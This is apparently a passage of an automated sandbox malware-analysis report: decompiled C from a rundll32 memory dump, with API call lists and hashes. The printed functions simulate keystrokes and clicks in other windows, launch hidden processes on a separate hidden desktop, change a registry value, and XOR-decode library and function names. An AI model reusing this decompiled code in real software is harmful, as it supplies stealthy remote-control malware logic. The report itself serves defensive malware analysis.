										_t61 = GetWindowLongA(_t127, 0xfffffff0);
										if(_t61 == 0 || (_t61 & 0x40000000) == 0) {
											goto L31;
										}
										_t127 = GetParent(_t127);
										if(_t127 != 0) {
											_t89 = _t127;
											continue;
										}
										goto L31;
									}
								}
								L31:
								 *0x4a176cc = _t89;
								E04A0A610(_t89);
								_t104 =  *0x4a176cc; // 0x0
								E04A0A780(_t104);
								E04A0A740();
								return 1;
							}
						} else {
							 *0x4a17698 = _t115;
							E04A0A610(_t92);
							E04A0A780(_t115);
							PostMessageA(_t115, 0x100, 0x79, 0);
							PostMessageA(_t115, 0x101, 0x79, 0);
							_t67 = GetMenu(_t115);
							if(_t67 != 0) {
								_push(_a24);
								_t128 = MenuItemFromPoint(_t115, _t67, _t131);
								if(_t128 > 0) {
									do {
										PostMessageA(_t115, 0x100, 0x27, 0);
										_t128 = _t128 - 1;
									} while (_t128 != 0);
								}
							}
							PostMessageA(_t115, 0x100, 0xd, 0);
							return 1;
						}
					} else {
						if(SendMessageTimeoutA(_t115, 0x1e1, 0, 0, 2, 0x3e8,  &_a12) != 0) {
							_t74 = _a12;
							if(_t74 != 0) {
								_push(_a24);
								_t75 = MenuItemFromPoint(_t115, _t74, _t131);
								if(_t75 >= 0 && SendMessageTimeoutA(_t115, 0x1e5, _t75, 0, 2, 0x3e8,  &_a12) != 0) {
									PostMessageW(_t115, 0x100, 0xd, 0);
								}
							}
						}
						 *0x4a176cc = 0;
						L17:
						return 1;
					}
				} else {
					_a20 = _t131;
					_a24 = _t38;
					_t122 = E04A0A800(_t92,  &_a20);
					if(_t122 == 0) {
						L49:
						return 0;
					} else {
						if(SendMessageTimeoutW(_t122, 0x110a, 9, 0, 2, 0x1f4,  &_a12) != 0) {
							_t84 = _a12;
							if(_t84 != 0) {
								PostMessageA(_t122, 0x110b, 9, _t84);
								PostMessageA(_t122, 0x113a, 0, _a12);
							}
						}
						_t130 = 5;
						do {
							PostMessageA(_t122, 0x201, 1, (_a24 & 0x0000ffff) << 0x00000010 | _a20 & 0x0000ffff);
							_t130 = _t130 - 1;
						} while (_t130 != 0);
						return 0;
					}
				}
			}

0x04a055f1
0x04a055f6
0x04a055fb
0x04a05600
0x04a05604
0x04a0560e
0x04a05618
0x04a0561e
0x04a05624
0x04a05629
0x04a056cc
0x04a0575a
0x04a05767
0x04a057eb
0x04a0584e
0x04a058f5
0x04a058fc
0x04a0590c
0x00000000
0x00000000
0x00000000
0x00000000
0x04a05866
0x04a0586c
0x04a05899
0x04a05912
0x04a05918
0x04a0591c
0x04a05921
0x04a05925
0x04a05933
0x04a05936
0x04a0593a
0x00000000
0x00000000
0x04a05946
0x04a0594a
0x04a0594c
0x00000000
0x04a0594c
0x00000000
0x04a0594a
0x04a05933
0x04a05950
0x04a05952
0x04a05952
0x00000000
0x04a058a0
0x04a058a4
0x04a058a8
0x04a058ac
0x04a058ce
0x04a058e8
0x04a058f4
0x04a058f4
0x04a0586e
0x04a0586e
0x04a05882
0x04a05892
0x04a05892
0x04a0586c
0x04a057ed
0x04a057ed
0x04a057ef
0x04a057f3
0x04a05800
0x04a05803
0x04a05807
0x00000000
0x00000000
0x04a05817
0x04a0581b
0x04a0581d
0x00000000
0x04a0581d
0x00000000
0x04a0581b
0x04a05800
0x04a05821
0x04a05823
0x04a05829
0x04a0582e
0x04a05834
0x04a0583b
0x04a0584a
0x04a0584a
0x04a0576d
0x04a0576d
0x04a05773
0x04a0577a
0x04a0578f
0x04a0579b
0x04a0579e
0x04a057a6
0x04a057a8
0x04a057b5
0x04a057b9
0x04a057c0
0x04a057ca
0x04a057cc
0x04a057cc
0x04a057c0
0x04a057b9
0x04a057db
0x04a057e7
0x04a057e7
0x04a056df
0x04a056ff
0x04a05701
0x04a05707
0x04a05709
0x04a05710
0x04a05718
0x04a0573f
0x04a0573f
0x04a05718
0x04a05707
0x04a05745
0x04a0574f
0x04a05759
0x04a05759
0x04a0563b
0x04a0563f
0x04a05643
0x04a0564c
0x04a05650
0x04a05957
0x04a0595e
0x04a05656
0x04a0567a
0x04a0567c
0x04a05682
0x04a0568d
0x04a0569b
0x04a0569b
0x04a05682
0x04a0569d
0x04a056a2
0x04a056ba
0x04a056bc
0x04a056bc
0x04a056c8
0x04a056c8
0x04a05650

APIs

SendMessageTimeoutW.USER32 ref: 04A0566C
PostMessageA.USER32 ref: 04A0568D
PostMessageA.USER32 ref: 04A0569B
PostMessageA.USER32 ref: 04A056BA
SendMessageTimeoutA.USER32(00000000,000001E1,00000000,00000000,00000002,000003E8,?), ref: 04A056FB
MenuItemFromPoint.USER32(00000000,?,?,?,?,?,00000000,04A062BB), ref: 04A05710
SendMessageTimeoutA.USER32(00000000,000001E5,00000000,00000000,00000002,000003E8,?), ref: 04A0572F
PostMessageW.USER32(00000000,00000100,0000000D,00000000), ref: 04A0573F
PostMessageA.USER32 ref: 04A0578F
PostMessageA.USER32 ref: 04A0579B
GetMenu.USER32(00000000), ref: 04A0579E
MenuItemFromPoint.USER32(00000000,00000000,?,?,?,?,00000000,04A062BB), ref: 04A057AF
PostMessageA.USER32 ref: 04A057CA
GetWindowLongA.USER32 ref: 04A05803
GetParent.USER32(00000000), ref: 04A05811
PostMessageA.USER32 ref: 04A05882
PostMessageA.USER32 ref: 04A057DB

Part of subcall function 04A0A800: ScreenToClient.USER32 ref: 04A0A810
Part of subcall function 04A0A800: ChildWindowFromPoint.USER32(00000000,?,?), ref: 04A0A818
Part of subcall function 04A0A800: ScreenToClient.USER32 ref: 04A0A82C
Part of subcall function 04A0A800: ChildWindowFromPoint.USER32(00000000,?,?), ref: 04A0A834

PostMessageA.USER32 ref: 04A058CE
PostMessageA.USER32 ref: 04A058E8

Part of subcall function 04A0A610: FindWindowW.USER32(00000000,00000000), ref: 04A0A641
Part of subcall function 04A0A610: FindWindowW.USER32(00000000), ref: 04A0A65A
Part of subcall function 04A0A610: FindWindowExW.USER32(00000000,00000000,00000000), ref: 04A0A66D
Part of subcall function 04A0A610: PostMessageW.USER32(00000000,00000010,00000000,00000000), ref: 04A0A688
Part of subcall function 04A0A610: GetMenu.USER32(00000000), ref: 04A0A6CA
Part of subcall function 04A0A610: GetMenuItemCount.USER32 ref: 04A0A6E1
Part of subcall function 04A0A610: HiliteMenuItem.USER32(?,00000000,00000000,00000400), ref: 04A0A6FB

GetWindowLongA.USER32 ref: 04A05936
GetParent.USER32(00000000), ref: 04A05944

Memory Dump Source

Source File: 00000007.00000002.380346351.0000000004A01000.00000020.00001000.00020000.00000000.sdmp, Offset: 04A00000, based on PE: true

Associated: 00000007.00000002.380338831.0000000004A00000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.380357902.0000000004A0F000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.380387384.0000000004A15000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.380395863.0000000004A1B000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_4a00000_rundll32.jbxd

Similarity

API ID: Message$Post$Window$Menu$FromItemPoint$FindSendTimeout$ChildClientLongParentScreen$CountHilite
String ID:
API String ID: 1771547604-0
Opcode ID: ce05f9f04f4a2b60425a2e207ab5b3f07aa4bbae1e8873d44fa3be05e2d7ab1f
Instruction ID: f0249f8567572e3596677c21d547e28ccc744cc25f65a47614bcb60211fc5e26
Opcode Fuzzy Hash: ce05f9f04f4a2b60425a2e207ab5b3f07aa4bbae1e8873d44fa3be05e2d7ab1f
Instruction Fuzzy Hash: 2C912975B403107BF7219B28BC84F7E77A4EB88B64F14851DFA44AB1C0DBA8F8429B55

Uniqueness

Uniqueness Score: -1.00%

Function 04A09140 Relevance: 31.7, APIs: 17, Strings: 1, Instructions: 185
stringprocessmemoryCOMMON

Download Yara Rule

C-Code - Quality: 85%

			E04A09140(intOrPtr __ecx) {
				short _v1028;
				short _v1628;
				struct _STARTUPINFOW _v1700;
				struct _PROCESS_INFORMATION _v1716;
				long _v1720;
				WCHAR* _v1724;
				WCHAR* _t32;
				void* _t35;
				long _t36;
				signed int _t42;
				signed int _t43;
				WCHAR* _t44;
				void* _t64;
				void* _t65;
				WCHAR* _t72;
				WCHAR* _t75;
				signed int _t78;
				void* _t79;
				intOrPtr _t82;
				WCHAR* _t83;
				intOrPtr _t84;
				WCHAR* _t86;
				WCHAR* _t90;
				WCHAR** _t93;

				_t84 = __ecx;
				_v1724 = 0;
				_v1720 = 0;
				_t32 = LocalAlloc(0, 0x200);
				_t83 = _t32;
				_t96 = _t83;
				if(_t83 != 0) {
					 *_t83 = 0;
					_t35 = E04A08C70(_t84, _t83, _t96, 0x100, 0,  &_v1724,  &_v1720);
					_t93 =  &(( &_v1724)[4]);
					if(_t35 == 0 ||  *_t83 == 0) {
						L23:
						_t75 = _v1724;
						_t36 = _v1720;
						goto L24;
					} else {
						_t42 = lstrlenW(_t83);
						_t78 = _t42;
						if(_t42 <= 0) {
							L6:
							if(_t83[_t42] != 0x5c) {
								goto L23;
							}
							L7:
							_t43 = _t42 + 1;
							_t79 = _t78 - _t43;
							_t44 =  &(_t83[_t43]);
							if(_t44 == 0 || _t79 <= 8 ||  *_t44 != 0x68 || _t44[1] != 0x6d || _t44[2] != 0x72 || _t44[3] != 0x5f) {
								goto L23;
							} else {
								lstrcpyW( &_v1628,  *0x4a16924);
								lstrcatW( &_v1628, _t83);
								lstrcatW( &_v1628,  *0x4a16928);
								lstrcatW( &_v1628,  *0x4a16818);
								_v1028 = 0;
								lstrcpyW( &_v1028,  &_v1628);
								E04A010D0( &_v1700, 0, 0x44);
								_t93 =  &(_t93[3]);
								_v1700.cb = 0x44;
								_v1700.dwFlags = 1;
								_v1700.wShowWindow = 0;
								if(CreateProcessW(0,  &_v1028, 0, 0, 0, 0, 0, 0,  &_v1700,  &_v1716) == 0) {
									_t36 = GetLastError();
									_t75 = 0x72;
									L24:
									_t82 =  *0x4a16908; // 0x4a1866e
									_t90 = E04A040D0(_t83, _t82, _t75, _t36);
									__eflags = _t90;
									if(_t90 == 0) {
										L30:
										return LocalFree(_t83);
									}
									_t86 = lstrlenW(_t90) + _t39;
									__eflags =  *0x4a1672c;
									if( *0x4a1672c == 0) {
										goto L30;
									}
									__eflags = _t86;
									if(_t86 == 0) {
										goto L30;
									}
									_t72 = E04A011D0(_t86);
									__eflags = _t72;
									if(_t72 == 0) {
										goto L30;
									}
									_push(_t86);
									_push(_t90);
									L29:
									_push(_t72);
									E04A01000();
									EnterCriticalSection(0x4a16714);
									 *0x4a16708 = 6;
									 *0x4a1670d = _t86;
									 *0x4a16709 = _t72;
									LeaveCriticalSection(0x4a16714);
									goto L30;
								}
								_t64 = _v1716.hThread;
								if(_t64 != 0) {
									CloseHandle(_t64);
								}
								_t65 = _v1716.hProcess;
								if(_t65 != 0) {
									CloseHandle(_t65);
								}
								lstrcatW(_t83,  *0x4a16910);
								_t86 = lstrlenW(_t83) + _t67;
								if( *0x4a1672c == 0 || _t86 == 0) {
									goto L30;
								} else {
									_t72 = E04A011D0(_t86);
									if(_t72 == 0) {
										goto L30;
									}
									_push(_t86);
									_push(_t83);
									goto L29;
								}
							}
						}
						while(_t83[_t42] != 0x5c) {
							_t42 = _t42 - 1;
							if(_t42 > 0) {
								continue;
							}
							goto L6;
						}
						goto L7;
					}
				}
				return _t32;
			}

0x04a09151
0x04a09153
0x04a0915b
0x04a09163
0x04a09169
0x04a0916b
0x04a0916d
0x04a09177
0x04a0918b
0x04a09196
0x04a0919b
0x04a09316
0x04a09316
0x04a0931a
0x00000000
0x04a091ab
0x04a091ac
0x04a091ae
0x04a091b2
0x04a091c0
0x04a091c5
0x00000000
0x00000000
0x04a091cb
0x04a091cb
0x04a091cc
0x04a091ce
0x04a091d3
0x00000000
0x04a0920d
0x04a0921e
0x04a0922c
0x04a09239
0x04a09246
0x04a0924a
0x04a0925f
0x04a0926a
0x04a0926f
0x04a09272
0x04a0927c
0x04a09284
0x04a092b1
0x04a09309
0x04a0930f
0x04a0931e
0x04a0931e
0x04a0932d
0x04a09332
0x04a09334
0x04a0938b
0x00000000
0x04a0938c
0x04a0933b
0x04a0933d
0x04a09344
0x00000000
0x00000000
0x04a09346
0x04a09348
0x00000000
0x00000000
0x04a09351
0x04a09353
0x04a09355
0x00000000
0x00000000
0x04a09357
0x04a09358
0x04a09359
0x04a09359
0x04a0935a
0x04a09367
0x04a09372
0x04a09379
0x04a0937f
0x04a09385
0x00000000
0x04a09385
0x04a092b3
0x04a092bf
0x04a092c2
0x04a092c2
0x04a092c4
0x04a092ca
0x04a092cd
0x04a092cd
0x04a092d6
0x04a092dd
0x04a092e6
0x00000000
0x04a092f4
0x04a092fb
0x04a092ff
0x00000000
0x00000000
0x04a09305
0x04a09306
0x00000000
0x04a09306
0x04a092e6
0x04a091d3
0x04a091b4
0x04a091bb
0x04a091be
0x00000000
0x00000000
0x00000000
0x04a091be
0x00000000
0x04a091b4
0x04a0919b
0x04a0939c

APIs

LocalAlloc.KERNEL32 ref: 04A09163

Part of subcall function 04A08C70: GetTempFileNameW.KERNEL32(C:\Users\user\AppData\LocalLow\,04A0F2D8,00000000,?,?,?,?,?), ref: 04A08CD4
Part of subcall function 04A08C70: DeleteFileW.KERNEL32(?,?,?,?,?), ref: 04A08CFC
Part of subcall function 04A08C70: CreateFileW.KERNEL32(?,40000000,00000003,00000000,00000002,00000000,00000000,?,?,?,?), ref: 04A08D16
Part of subcall function 04A08C70: WriteFile.KERNEL32(00000000,?,00000004,?,00000000,?,?,?,?), ref: 04A08D34
Part of subcall function 04A08C70: CloseHandle.KERNEL32(?,?,?,?,?), ref: 04A08D40
Part of subcall function 04A08C70: DeleteFileW.KERNEL32(?,?,?,?,?), ref: 04A08D4F
Part of subcall function 04A08C70: lstrcpynW.KERNEL32(?,C:\Users\user\AppData\LocalLow\,?,?,?,?,?), ref: 04A08D62
Part of subcall function 04A08C70: lstrlenW.KERNEL32(?,?,?,?,?), ref: 04A08DA5
Part of subcall function 04A08C70: GetTickCount.KERNEL32 ref: 04A08DB4
Part of subcall function 04A08C70: lstrlenW.KERNEL32(?,?,?,?,?), ref: 04A08DC8

lstrlenW.KERNEL32(00000000), ref: 04A091AC
lstrcpyW.KERNEL32 ref: 04A0921E
lstrcatW.KERNEL32(?,00000000), ref: 04A0922C
lstrcatW.KERNEL32(?), ref: 04A09239
lstrcatW.KERNEL32(?), ref: 04A09246
lstrcpyW.KERNEL32 ref: 04A0925F
CreateProcessW.KERNEL32 ref: 04A092A9
CloseHandle.KERNEL32(?), ref: 04A092C2
CloseHandle.KERNEL32(?), ref: 04A092CD
lstrcatW.KERNEL32(00000000), ref: 04A092D6
lstrlenW.KERNEL32(00000000), ref: 04A092D9
GetLastError.KERNEL32 ref: 04A09309
lstrlenW.KERNEL32(00000000), ref: 04A09337
EnterCriticalSection.KERNEL32(04A16714), ref: 04A09367
LeaveCriticalSection.KERNEL32(04A16714), ref: 04A09385
LocalFree.KERNEL32(00000000), ref: 04A0938C

Strings

D, xrefs: 04A09272

Memory Dump Source

Source File: 00000007.00000002.380346351.0000000004A01000.00000020.00001000.00020000.00000000.sdmp, Offset: 04A00000, based on PE: true

Associated: 00000007.00000002.380338831.0000000004A00000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.380357902.0000000004A0F000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.380387384.0000000004A15000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.380395863.0000000004A1B000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_4a00000_rundll32.jbxd

Similarity

API ID: Filelstrlen$lstrcat$CloseHandle$CreateCriticalDeleteLocalSectionlstrcpy$AllocCountEnterErrorFreeLastLeaveNameProcessTempTickWritelstrcpyn
String ID: D
API String ID: 395529894-2746444292
Opcode ID: 508cd32a967f376802f32c02fa261d450cac0fe0efa1104c523affdaa4d948de
Instruction ID: 94a27205b8fb72cb1d12f13d76c43c9c9016a82be1d31d345a4240651cf0fef7
Opcode Fuzzy Hash: 508cd32a967f376802f32c02fa261d450cac0fe0efa1104c523affdaa4d948de
Instruction Fuzzy Hash: 4151E9B15043059BD7219F65EC44BAB77ECEB84744F04841DF604D31E1EBB9E8468BA3

Uniqueness

Uniqueness Score: -1.00%

Function 04A01E90 Relevance: 31.7, APIs: 16, Strings: 2, Instructions: 162
registrystringprocessCOMMON

Download Yara Rule

C-Code - Quality: 84%

			E04A01E90() {
				short _v1028;
				short _v1548;
				short _v1652;
				struct _STARTUPINFOW _v1724;
				struct _PROCESS_INFORMATION _v1740;
				intOrPtr _v1744;
				char _v1748;
				int _v1752;
				char _v1756;
				int _v1760;
				void* _v1764;
				void* _t59;
				void* _t61;
				intOrPtr _t63;
				signed int _t76;
				void* _t77;
				int _t81;
				void* _t85;
				int _t86;

				_v1764 = 0;
				_t76 = 0;
				_v1760 = 4;
				_v1752 = 4;
				_v1748 = 2;
				if(RegOpenKeyExA(0x80000001,  *0x4a16b14, 0, 0xf013f,  &_v1764) != 0) {
					_v1764 = 0;
				} else {
					if(RegQueryValueExA(_v1764,  *0x4a16b18, 0,  &_v1752,  &_v1756,  &_v1760) != 0) {
						L3:
						RegSetValueExA(_v1764,  *0x4a16b18, 0, 4,  &_v1748, 4);
						asm("sbb ebx, ebx");
						_t76 = _t76 + 1;
					} else {
						_t76 = 0 | _v1756 != 0x00000002;
						if(_t76 != 0) {
							goto L3;
						}
					}
				}
				_t81 = GetWindowsDirectoryW( &_v1548, 0x104);
				if(_t81 == 0) {
					L22:
					return 0;
				} else {
					lstrcatW( &_v1548,  *0x4a167f4);
					if(_t81 + 0xd == 0) {
						goto L22;
					} else {
						_v1028 = 0;
						lstrcpyW( &_v1028,  &_v1548);
						E04A010D0( &_v1724, 0, 0x44);
						_v1724.cb = 0x44;
						lstrcpyW( &_v1652, L"d06ed635");
						_v1724.lpDesktop =  &_v1652;
						_t86 = CreateProcessW(0,  &_v1028, 0, 0, 0, 0, 0, 0,  &_v1724,  &_v1740);
						if(_t86 != 0) {
							_t77 = _v1740.hThread;
							if(_t77 != 0) {
								CloseHandle(_t77);
							}
							_t85 =  !=  ? _v1740.hProcess : _v1744;
							if(_t85 == 0) {
								E04A01A90(1);
							} else {
								_t63 =  *0x4a16384; // 0x0
								if(_t63 != 0) {
									L13:
									__imp__AssignProcessToJobObject(_t63, _t85);
								} else {
									__imp__CreateJobObjectW(_t63, _t63);
									 *0x4a16384 = _t63;
									if(_t63 != 0) {
										goto L13;
									}
								}
								ResumeThread(_t85);
								E04A01A90(1);
								CloseHandle(_t85);
								CloseHandle(_t85);
							}
							if(_t76 == 0) {
								L19:
								_t59 = _v1764;
								if(_t59 != 0) {
									RegCloseKey(_t59);
								}
							} else {
								_t61 = _v1764;
								if(_t61 != 0) {
									RegSetValueExA(_t61,  *0x4a16b18, 0, 4,  &_v1756, _v1760);
									goto L19;
								}
							}
						}
						return _t86;
					}
				}
			}

0x04a01e9d
0x04a01eab
0x04a01ead
0x04a01ebc
0x04a01ec9
0x04a01ed9
0x04a01f2d
0x04a01edb
0x04a01efd
0x04a01f0b
0x04a01f20
0x04a01f28
0x04a01f2a
0x04a01eff
0x04a01f04
0x04a01f09
0x00000000
0x00000000
0x04a01f09
0x04a01efd
0x04a01f44
0x04a01f48
0x04a020a0
0x04a020a9
0x04a01f4e
0x04a01f5c
0x04a01f65
0x00000000
0x04a01f6b
0x04a01f73
0x04a01f8b
0x04a01f96
0x04a01f9e
0x04a01fb3
0x04a01fbc
0x04a01fe6
0x04a01fea
0x04a01ff0
0x04a01ff6
0x04a01ff9
0x04a01ff9
0x04a02009
0x04a0200e
0x04a02058
0x04a02010
0x04a02010
0x04a02017
0x04a0202a
0x04a0202c
0x04a02019
0x04a0201b
0x04a02021
0x04a02028
0x00000000
0x00000000
0x04a02028
0x04a02033
0x04a0203e
0x04a02044
0x04a0204b
0x04a0204b
0x04a0205f
0x04a02083
0x04a02083
0x04a02089
0x04a0208c
0x04a0208c
0x04a02061
0x04a02061
0x04a02067
0x04a0207d
0x00000000
0x04a0207d
0x04a02067
0x04a0205f
0x04a0209d
0x04a0209d
0x04a01f65

APIs

RegOpenKeyExA.ADVAPI32(80000001,?,?,?,?,00000000,000F013F,?), ref: 04A01ED1
RegQueryValueExA.ADVAPI32(?,00000000,?,?,?,?,?,?,?,00000000,000F013F,?), ref: 04A01EF5
RegSetValueExA.ADVAPI32(?,00000000,00000004,?,00000004,?,?,?,?,00000000,000F013F,?), ref: 04A01F20
GetWindowsDirectoryW.KERNEL32(?,00000104,?,?,?,?,00000000,000F013F,?), ref: 04A01F3E
lstrcatW.KERNEL32(?), ref: 04A01F5C
lstrcpyW.KERNEL32 ref: 04A01F8B
lstrcpyW.KERNEL32 ref: 04A01FB3
CreateProcessW.KERNEL32 ref: 04A01FE0
CloseHandle.KERNEL32(?), ref: 04A01FF9
CreateJobObjectW.KERNEL32 ref: 04A0201B
AssignProcessToJobObject.KERNEL32 ref: 04A0202C
ResumeThread.KERNEL32(?), ref: 04A02033
CloseHandle.KERNEL32(?), ref: 04A02044
CloseHandle.KERNEL32(?), ref: 04A0204B
RegSetValueExA.ADVAPI32(?,00000000,00000004,?,?), ref: 04A0207D
RegCloseKey.ADVAPI32(?), ref: 04A0208C

Strings

D, xrefs: 04A01F9E
d06ed635, xrefs: 04A01FAD

Memory Dump Source

Source File: 00000007.00000002.380346351.0000000004A01000.00000020.00001000.00020000.00000000.sdmp, Offset: 04A00000, based on PE: true

Associated: 00000007.00000002.380338831.0000000004A00000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.380357902.0000000004A0F000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.380387384.0000000004A15000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.380395863.0000000004A1B000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_4a00000_rundll32.jbxd

Similarity

API ID: Close$HandleValue$CreateObjectProcesslstrcpy$AssignDirectoryOpenQueryResumeThreadWindowslstrcat
String ID: D$d06ed635
API String ID: 2430434536-3801043960
Opcode ID: 0315397afe34eeb27a6817de422bb61019aaf726a6e8f90448926a7eb34a92ee
Instruction ID: 944f02d8ff4991128834292e7b733041fdff193776abc79b8f316bafe4306acf
Opcode Fuzzy Hash: 0315397afe34eeb27a6817de422bb61019aaf726a6e8f90448926a7eb34a92ee
Instruction Fuzzy Hash: 06516072605305AFE7209F60E848F9B77ECFB58714F004929FA49E2180E779ED4ACB51

Uniqueness

Uniqueness Score: -1.00%

Function 04A041E0 Relevance: 31.6, APIs: 8, Strings: 10, Instructions: 125
libraryloaderCOMMON

Download Yara Rule

C-Code - Quality: 76%

			E04A041E0() {
				intOrPtr _v16;
				intOrPtr _v20;
				intOrPtr _v24;
				intOrPtr _v28;
				intOrPtr _v32;
				intOrPtr _v36;
				char _v40;
				_Unknown_base(*)()* _t53;
				_Unknown_base(*)()* _t55;
				_Unknown_base(*)()* _t57;
				struct HINSTANCE__* _t59;
				_Unknown_base(*)()* _t60;
				struct HINSTANCE__* _t62;
				_Unknown_base(*)()* _t63;
				struct HINSTANCE__* _t74;

				asm("movaps xmm1, [0x4a13ed0]");
				_v40 = 0x4d703a8c;
				_v36 = 0x1e30278b;
				_v32 = 0x406f2ad5;
				_v28 = 0x2c034efb;
				asm("movups xmm0, [esp+0x4]");
				asm("pxor xmm1, xmm0");
				asm("movups [esp+0x10], xmm1");
				_t74 = LoadLibraryA( &_v40);
				if(_t74 == 0) {
					L8:
					return 0;
				} else {
					_v40 = 0x51535457;
					_v36 = 0x79726575;
					_v32 = 0x73736553;
					_v28 = 0x496e6f69;
					_v24 = 0x726f666e;
					_v20 = 0x6974616d;
					_v16 = 0x576e6f;
					_t53 = GetProcAddress(_t74,  &_v40);
					 *0x4a165bc = _t53;
					if(_t53 == 0) {
						goto L8;
					} else {
						_v40 = 0x45535457;
						_v36 = 0x656d756e;
						_v32 = 0x65746172;
						_v28 = 0x73736553;
						_v24 = 0x736e6f69;
						_v20 = 0x41;
						_t55 = GetProcAddress(_t74,  &_v40);
						 *0x4a16580 = _t55;
						if(_t55 == 0) {
							goto L8;
						} else {
							_v40 = 0x51535457;
							_v36 = 0x79726575;
							_v32 = 0x72657355;
							_v28 = 0x656b6f54;
							_v24 = 0x6e;
							_t57 = GetProcAddress(_t74,  &_v40);
							 *0x4a165a8 = _t57;
							if(_t57 == 0) {
								goto L8;
							} else {
								asm("movaps xmm1, [0x4a13ee0]");
								_v40 = 0xe759cd85;
								_v36 = 0xbb18c48b;
								_v32 = 0xe547ccc0;
								_v28 = 0x892ba8ee;
								asm("movups xmm0, [esp+0xc]");
								asm("pxor xmm1, xmm0");
								asm("movups [esp+0x10], xmm1");
								_t59 = LoadLibraryA( &_v40);
								if(_t59 == 0) {
									goto L8;
								} else {
									_v40 = 0x43746547;
									_v36 = 0x75706d6f;
									_v32 = 0x4e726574;
									_v28 = 0x41656d61;
									_v24 = 0;
									_t60 = GetProcAddress(_t59,  &_v40);
									 *0x4a16578 = _t60;
									if(_t60 == 0) {
										goto L8;
									} else {
										asm("movaps xmm1, [0x4a13ec0]");
										_v40 = 0x65d6e15c;
										_v36 = 0x3693ec4d;
										_v32 = 0x68cce113;
										_v28 = 0x4a0853d;
										asm("movups xmm0, [esp+0xc]");
										asm("pxor xmm1, xmm0");
										asm("movups [esp+0x10], xmm1");
										_t62 = LoadLibraryA( &_v40);
										if(_t62 == 0) {
											goto L8;
										} else {
											asm("movaps xmm1, [0x4a13ef0]");
											_v40 = 0xaab1e1d4;
											_v36 = 0xb1b7e1e0;
											_v32 = 0xbea0e9f2;
											_v28 = 0xffc58493;
											asm("movups xmm0, [esp+0xc]");
											asm("pxor xmm1, xmm0");
											asm("movups [esp+0x14], xmm1");
											_t63 = GetProcAddress(_t62,  &_v40);
											 *0x4a1657c = _t63;
											return 0 | _t63 != 0x00000000;
										}
									}
								}
							}
						}
					}
				}
			}

0x04a041e3
0x04a041f4
0x04a041fc
0x04a04204
0x04a0420c
0x04a04214
0x04a0421b
0x04a04220
0x04a04227
0x04a0422b
0x04a04419
0x04a04421
0x04a04231
0x04a0423d
0x04a04245
0x04a0424d
0x04a04255
0x04a0425d
0x04a04265
0x04a0426d
0x04a04275
0x04a04277
0x04a0427e
0x00000000
0x04a04284
0x04a04288
0x04a04292
0x04a0429a
0x04a042a2
0x04a042aa
0x04a042b2
0x04a042ba
0x04a042bc
0x04a042c3
0x00000000
0x04a042c9
0x04a042cd
0x04a042d7
0x04a042df
0x04a042e7
0x04a042ef
0x04a042f7
0x04a042f9
0x04a04300
0x00000000
0x04a04306
0x04a04306
0x04a04311
0x04a04319
0x04a04321
0x04a04329
0x04a04331
0x04a04337
0x04a0433b
0x04a04340
0x04a04344
0x00000000
0x04a0434a
0x04a0434e
0x04a04358
0x04a04360
0x04a04368
0x04a04370
0x04a04378
0x04a0437a
0x04a04381
0x00000000
0x04a04387
0x04a04387
0x04a04392
0x04a0439a
0x04a043a2
0x04a043aa
0x04a043b2
0x04a043b8
0x04a043bc
0x04a043c1
0x04a043c5
0x00000000
0x04a043c7
0x04a043c7
0x04a043d2
0x04a043da
0x04a043e2
0x04a043ea
0x04a043f2
0x04a043f9
0x04a043fd
0x04a04402
0x04a04406
0x04a04418
0x04a04418
0x04a043c5
0x04a04381
0x04a04344
0x04a04300
0x04a042c3
0x04a0427e

APIs

LoadLibraryA.KERNEL32(?), ref: 04A04225
GetProcAddress.KERNEL32 ref: 04A04275
GetProcAddress.KERNEL32(00000000,?), ref: 04A042BA
GetProcAddress.KERNEL32(00000000,45535457), ref: 04A042F7
LoadLibraryA.KERNEL32(51535457,?,?,00000000,?), ref: 04A04340
GetProcAddress.KERNEL32(00000000,E759CD85), ref: 04A04378
LoadLibraryA.KERNEL32(43746547,?,?,00000000,?), ref: 04A043C1
GetProcAddress.KERNEL32(00000000,65D6E15C), ref: 04A04402

Strings

ameA, xrefs: 04A04368
WTSQ, xrefs: 04A0423D
ompu, xrefs: 04A04358
mati, xrefs: 04A04265
onW, xrefs: 04A0426D
terN, xrefs: 04A04360
A, xrefs: 04A042B2
n, xrefs: 04A042EF
GetC, xrefs: 04A0434E
ions, xrefs: 04A042AA

Memory Dump Source

Source File: 00000007.00000002.380346351.0000000004A01000.00000020.00001000.00020000.00000000.sdmp, Offset: 04A00000, based on PE: true

Associated: 00000007.00000002.380338831.0000000004A00000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.380357902.0000000004A0F000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.380387384.0000000004A15000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.380395863.0000000004A1B000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_4a00000_rundll32.jbxd

Similarity

API ID: AddressProc$LibraryLoad
String ID: A$GetC$WTSQ$ameA$ions$mati$n$ompu$onW$terN
API String ID: 2238633743-2097599906
Opcode ID: ad929de863ad3e9bee3bca205431deb6679631e020eb8daccda79fd711b2dcfc
Instruction ID: 6292e699ef83c3dc7e8d4ef05383b470071f7c67516b75db5ace6c3ab20f91ff
Opcode Fuzzy Hash: ad929de863ad3e9bee3bca205431deb6679631e020eb8daccda79fd711b2dcfc
Instruction Fuzzy Hash: F8514AB04087469FD701CF26D84125BBBF8FFA8358F00CA1EE99896211D774D689CF92

Uniqueness

Uniqueness Score: -1.00%

